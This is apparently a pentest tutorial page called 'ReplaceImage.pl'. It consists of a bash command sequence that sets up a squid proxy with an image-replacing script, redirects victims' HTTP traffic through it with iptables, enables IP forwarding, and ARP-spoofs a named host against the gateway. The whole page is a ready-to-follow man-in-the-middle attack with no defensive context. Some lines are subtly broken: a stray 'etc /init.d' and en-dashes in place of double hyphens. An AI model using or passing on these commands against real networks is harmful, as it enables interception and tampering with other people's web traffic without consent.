Monday , October 21 2019
Home / Video / ReplaceImage.pl

ReplaceImage.pl

Step

[bash] apt-get install squid3
clear
nano /etc/squid3/squid.conf
nano /pentest/nasa/squidscripts/replaceImages.pl
mkdir /var/www/tmp/
clear
chown nobody:nogroup /var/www/tmp/
chmod 777 /var/www/tmp/
etc /init.d/apache2 start
/etc/init.d/apache2 start
/etc/init.d/squid3 start
clear
netdiscover -i eth0
clear
iptables -t nat -A PREROUTING -i eth0 -p tcp –destination-port 80 -j REDIRECT –to-port 3128
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.0.150 192.168.0.1
[/bash]